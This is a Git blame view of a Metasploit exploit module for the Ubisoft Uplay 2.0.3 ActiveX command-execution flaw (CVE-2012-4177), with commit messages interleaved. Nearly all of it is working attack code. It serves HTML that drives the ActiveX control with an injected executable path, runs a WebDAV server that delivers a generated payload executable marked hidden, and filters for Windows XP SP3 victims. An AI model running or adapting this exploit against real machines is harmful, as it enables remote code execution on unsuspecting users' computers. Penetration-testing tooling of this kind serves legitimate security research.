infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb

433 lines
12 KiB
Ruby
Raw Normal View History

Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
Working with WebDAV
2012-07-31 19:26:47 +00:00
include Msf::Exploit::EXE
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
def initialize(info = {})
super(update_info(info,
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
'Name' => 'Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution',
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
'Description' => %q{
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
The uplay ActiveX component allows an attacker to execute any command line action.
User must sign in, unless auto-sign in is enabled and uplay must not already be
running. Due to the way the malicious executable is served (WebDAV), the module
must be run on port 80, so please make sure you have enough privilege to do that.
Ubisoft released patch 2.04 as of Mon 20th July.
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'phillips321 <phillips321[at]phillips321.co.uk>',
'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
],
'References' =>
[
Update references
2012-12-10 17:42:21 +00:00
[ 'CVE', '2012-4177' ],
Blah, OSVDB ref shouldn't be a link
2012-08-06 16:57:59 +00:00
[ 'OSVDB', '84402'],
Update references
2012-12-10 17:42:21 +00:00
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Jul/375'],
[ 'URL', 'http://forums.ubi.com/showthread.php/699940-Uplay-PC-Patch-2-0-4-Security-fix' ]
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
],
'Platform' => 'win',
'Targets' =>
[
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
[ 'Automatic', { } ]
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 29 2012'))
register_options(
[
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]),
OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]),
OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
], self.class)
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
# WebDAV does not support SSL and must run over port 80.
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH')
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
end
def autofilter
false
end
def check_dependencies
use_zlib
end
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
def is_exploitable?(req)
# Only engage Win XP SP3 targets
req.headers['User-Agent'] =~ /NT 5\.1/
end
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
def on_request_uri(cli, request)
Working with WebDAV
2012-07-31 19:26:47 +00:00
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
if request.uri_parts['Resource'].include? @uplay_uri
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
if is_exploitable?(request)
prompt_uplay(cli, request)
else
print_error("Not the target we want, will not engage.")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
Working with WebDAV
2012-07-31 19:26:47 +00:00
else
process_get(cli, request)
end
else
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status("#{request.method} => 404 (#{request.uri})")
Working with WebDAV
2012-07-31 19:26:47 +00:00
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
Working with WebDAV
2012-07-31 19:26:47 +00:00
def prompt_uplay(cli, request)
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
Changed blacklist to 404 all files that are not our share and executable - this allows windows/exec payload to work
2012-08-04 16:59:45 +00:00
path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe"
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
Working with WebDAV
2012-07-31 19:26:47 +00:00
if path.length > 693
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
fail_with(Exploit::Failure::Unknown,"Remote path is too long must be < 694 characters")
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
return
end
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
Working with WebDAV
2012-07-31 19:26:47 +00:00
cmd = Rex::Text.encode_base64(path)
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
classid = "clsid:1c492e6a-2803-5ed7-83e1-1b1d4d41eb39"
type = "application/x-uplaypc" # Unused but alternative to classid
Changed blacklist to 404 all files that are not our share and executable - this allows windows/exec payload to work
2012-08-04 16:59:45 +00:00
content = %Q|<html>
<body>
<script>
x = document.createElement('OBJECT');
x.classid='#{classid}';
document.body.appendChild(x);
x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play');
</script>
</body>
</html>|
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
print_status("GET => Exploit")
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
send_response_html(cli, content)
handler(cli)
end
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
Working with WebDAV
2012-07-31 19:26:47 +00:00
def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
if blacklisted_path?(request.uri)
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
Working with WebDAV
2012-07-31 19:26:47 +00:00
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
if (request.uri.include? @basename)
Working with WebDAV
2012-07-31 19:26:47 +00:00
print_status("GET => Payload")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
# Treat index.html specially
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status("GET => REDIRECT (#{request.uri})")
Working with WebDAV
2012-07-31 19:26:47 +00:00
resp = create_response(200, "OK")
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
Working with WebDAV
2012-07-31 19:26:47 +00:00
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
# Anything else is probably a request for a data file...
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status("GET => DATA (#{request.uri})")
Working with WebDAV
2012-07-31 19:26:47 +00:00
data = "HELLO!"
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
#
Working with WebDAV
2012-07-31 19:26:47 +00:00
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status("OPTIONS #{request.uri}")
Working with WebDAV
2012-07-31 19:26:47 +00:00
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
vprint_status("PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if blacklisted_path?(path)
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status "PROPFIND => 404 (#{path})"
Working with WebDAV
2012-07-31 19:26:47 +00:00
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status "PROPFIND => 207 File (#{path})"
Working with WebDAV
2012-07-31 19:26:47 +00:00
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status "PROPFIND => 301 (#{path})"
Working with WebDAV
2012-07-31 19:26:47 +00:00
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
vprint_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
vprint_status "PROPFIND => 207 Top-Level Directory"
Working with WebDAV
2012-07-31 19:26:47 +00:00
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_shares(path)
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
share_name = @share_name
Working with WebDAV
2012-07-31 19:26:47 +00:00
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
base = @basename
exts = @extensions.gsub(",", " ").split(/\s+/)
Working with WebDAV
2012-07-31 19:26:47 +00:00
files = ""
exts.each do |ext|
files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
Serve files as hidden
2012-08-04 17:03:12 +00:00
<D:ishidden b:dt="boolean">1</D:ishidden>
Working with WebDAV
2012-07-31 19:26:47 +00:00
</D:propstat>
</D:response>
|
end
files
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
# This method rejects requests that are known to break exploitation
def blacklisted_path?(uri)
Changed blacklist to 404 all files that are not our share and executable - this allows windows/exec payload to work
2012-08-04 16:59:45 +00:00
share_path = "/#{@share_name}"
payload_path = "#{share_path}/#{@basename}.exe"
case uri
when payload_path
return false
when share_path
return false
else
return true
end
Working with WebDAV
2012-07-31 19:26:47 +00:00
end
def exploit
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
@basename = rand_text_alpha(8)
@share_name = rand_text_alpha(8)
@extensions = "exe"
Removed auto migrate as exploit loads in a seperate process to browser anyway
2012-07-31 19:44:14 +00:00
if datastore['EXPLOITPATH']
@uplay_uri = datastore['EXPLOITPATH']
else
@uplay_uri = rand_text_alpha(8)
end
Working with WebDAV
2012-07-31 19:26:47 +00:00
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@exploit_unc = "\\\\#{myhost}\\"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
Changed blacklist to 404 all files that are not our share and executable - this allows windows/exec payload to work
2012-08-04 16:59:45 +00:00
vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
Lots of changes before commit.
2012-08-06 16:54:08 +00:00
print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")
Working with WebDAV
2012-07-31 19:26:47 +00:00
super
end
Fixed to work with browser_autopwn
2012-07-30 15:43:21 +00:00
end